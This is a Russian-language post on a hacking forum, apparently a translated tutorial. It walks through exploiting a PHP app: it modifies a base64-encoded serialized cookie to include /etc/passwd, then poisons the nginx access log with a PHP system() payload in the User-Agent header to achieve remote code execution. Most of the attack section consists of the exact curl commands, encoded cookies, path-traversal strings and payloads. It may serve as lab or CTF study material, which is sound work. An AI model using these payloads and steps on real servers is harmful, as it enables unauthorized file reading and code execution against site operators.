• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Польём яду на Log-файлы для получения RCE

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
1655306751279.png

Сегодня мы увидим, как удаленное выполнение кода с помощью отравления журналов, которое является типом включения локальных файлов. Допустим, есть веб-приложение, использующее PHP в качестве внутреннего языка. Для всего этого процесса можно использовать burp, но сегодня только cUrl /только хардкор/ для отправки и получения ответов и управления запросами.





Ну начинаем!
1655306955087.png

Включение локального файла в PHP​

Включение локальных файлов — очень распространенная уязвимость веб-приложений, которая позволяет злоумышленникам читать конфиденциальные файлы на сервере, а иногда даже выполнять удаленные команды. Это происходит, когда ввод не проверяется должным образом или код написан плохо.
На скриншоте видно, что веб-приложение содержит файл cookie с именем PHPSESSID, значение которого закодировано в base64. После декодирования значения base64 файла cookie мы нашли сериализованную строку.

O:9:"PageModel":1:{s:4:"file";s:15:"/www/index.html";}

Существуют сложные массивы с элементами более чем одного типа данных, поэтому для последовательного их расположения PHP использует функцию searealize() для преобразования их в форматированную строку.
Код:
<?php
 $data = serialize(array("Cat", "Dogs", "Rabbit"));
echo $data;
?>The above PHP code will give result as:a:3:{i:0;s:3:”Cat”;i:1;s:4:”Dogs”;i:2;s:6:”Rabbit”;}

1655307247556.png


Декодированные данные cookie выглядят интересно, поскольку они указывают на путь index.html, возможно, мы можем изменить путь на что-то другое, и он будет включать любой файл, присутствующий на сервере, что приводит к включению локального файла.
Закодируйте измененный ниже путь к base64 и отправьте его в приложение.

Код:
 O:9:"PageModel":1:{s:4:"file";s:22:"../../../../etc/passwd";}

1655307321515.png


Код:
  Command: curl -i -v {URL}-b "PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ=="

Оно работает! Мы видим файл passwd, который подтверждает уязвимость LFI в этом приложении.

Отравление журнала

Журнал сервера — это текстовый файл, который содержит все действия, которые были выполнены во время связи с веб-сервером, такие как файлы, к которым осуществлялся доступ, коды состояния, пользовательский агент, местоположение, IP-адрес и т. д.

Отравление журнала или внедрение журнала — это метод, который позволяет злоумышленнику вмешиваться в содержимое файла журнала, например вставлять вредоносный код в журналы сервера для удаленного выполнения команд или получения обратной оболочки. Это сработает только тогда, когда приложение уже уязвимо для LFI.
Код PHP включает файл index.html из оператора include без надлежащей проверки ввода, поэтому включение неправильно сформированного файла будет оцениваться. Если бы мы могли контролировать содержимое файла, доступного в уязвимом веб-приложении, мы могли бы вставить код PHP и загрузить файл через уязвимость LFI для выполнения нашего кода.
Содержимое, которым мы можем управлять, — это журналы, которые мы отправляем на сервер.
В нашем случае это сервер Nginx, поэтому путь по умолчанию для журналов: /var/log/nginx/access.log и он будет отличаться в зависимости от разных серверов. Кодирование и отправка приведенной ниже строки дает нам журналы сервера.

Примечание. Измените размер на 34 для конкретной строки.
Код:
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";}

1655307570103.png


Удаленное выполнение кода​

Поскольку заголовок User-Agent регистрируется, мы собираемся изменить его значение на вредоносный PHP-код и отправить его на сервер.

Уязвимость RCE позволяет злоумышленнику удаленно выполнять команды в системе жертвы.
Ниже функция PHP system() принимает команду в качестве параметра и отображает ее результат в качестве вывода.

Код:
 <?php system('ls /'); ?>

1655307653622.png

Код:
Command: curl -i -v {URL} -A "<?php system('ls /'); ?>"-i include response
-v verbose
-A To provide the value of User-Agent
После отправки запроса код PHP был зарегистрирован в системе и должен быть выполнен, как только мы посетим файл access.log.
Код:
Command:  curl -i -v {URL} -b "PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ=="

1655308103345.png


Что и требовалось получить!

Перевел эту статью
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх